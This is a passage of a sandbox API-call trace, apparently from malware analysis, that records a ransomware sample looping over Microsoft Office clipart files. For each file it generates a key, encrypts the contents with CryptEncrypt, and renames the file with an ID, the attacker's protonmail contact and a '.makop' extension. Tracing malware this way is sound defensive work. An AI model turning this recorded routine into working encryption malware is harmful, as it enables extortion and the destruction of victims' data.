lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.928] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.928] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6aa8, lpOverlapped=0x0) returned 1 [0136.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ab0, dwBufLen=0x6ab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ab0) returned 1 [0136.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6ab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6ab0, lpOverlapped=0x0) returned 1 [0136.931] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.931] SetEndOfFile (hFile=0xf0) returned 1 [0136.938] GetProcessHeap () returned 0x48a0000 [0136.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.939] GetProcessHeap () returned 0x48a0000 [0136.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.939] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.940] CloseHandle (hObject=0xf0) returned 1 [0136.940] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0136.941] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG") returned 63 [0136.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.941] GetProcessHeap () returned 0x48a0000 [0136.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0136.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.946] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.946] GetProcessHeap () returned 0x48a0000 [0136.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.946] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.946] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.946] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.947] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6873, lpOverlapped=0x0) returned 1 [0136.950] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6880, dwBufLen=0x6880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6880) returned 1 [0136.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6880, lpOverlapped=0x0) returned 1 [0136.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.951] SetEndOfFile (hFile=0xf0) returned 1 [0136.957] GetProcessHeap () returned 0x48a0000 [0136.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.957] GetProcessHeap () returned 0x48a0000 [0136.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.959] CloseHandle (hObject=0xf0) returned 1 [0136.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0136.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG") returned 63 [0136.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.960] GetProcessHeap () returned 0x48a0000 [0136.960] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.960] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0136.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.966] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.966] GetProcessHeap () returned 0x48a0000 [0136.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa497, lpOverlapped=0x0) returned 1 [0136.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa4a0, dwBufLen=0xa4a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa4a0) returned 1 [0136.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa4a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa4a0, lpOverlapped=0x0) returned 1 [0136.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.970] SetEndOfFile (hFile=0xf0) returned 1 [0136.977] GetProcessHeap () returned 0x48a0000 [0136.978] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.978] GetProcessHeap () returned 0x48a0000 [0136.978] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.978] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.979] CloseHandle (hObject=0xf0) returned 1 [0136.979] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0136.979] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG") returned 63 [0136.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.980] GetProcessHeap () returned 0x48a0000 [0136.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.981] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0136.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.985] GetProcessHeap () returned 0x48a0000 [0136.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.986] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.987] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e7b, lpOverlapped=0x0) returned 1 [0136.988] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80) returned 1 [0136.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e80, lpOverlapped=0x0) returned 1 [0136.988] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.988] SetEndOfFile (hFile=0xf0) returned 1 [0136.996] GetProcessHeap () returned 0x48a0000 [0136.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.996] GetProcessHeap () returned 0x48a0000 [0136.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.996] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.999] CloseHandle (hObject=0xf0) returned 1 [0136.999] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0136.999] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG") returned 63 [0136.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.001] GetProcessHeap () returned 0x48a0000 [0137.002] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.002] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0137.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.006] GetProcessHeap () returned 0x48a0000 [0137.006] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.006] CryptEncrypt (in: hKey=0x48c7128, 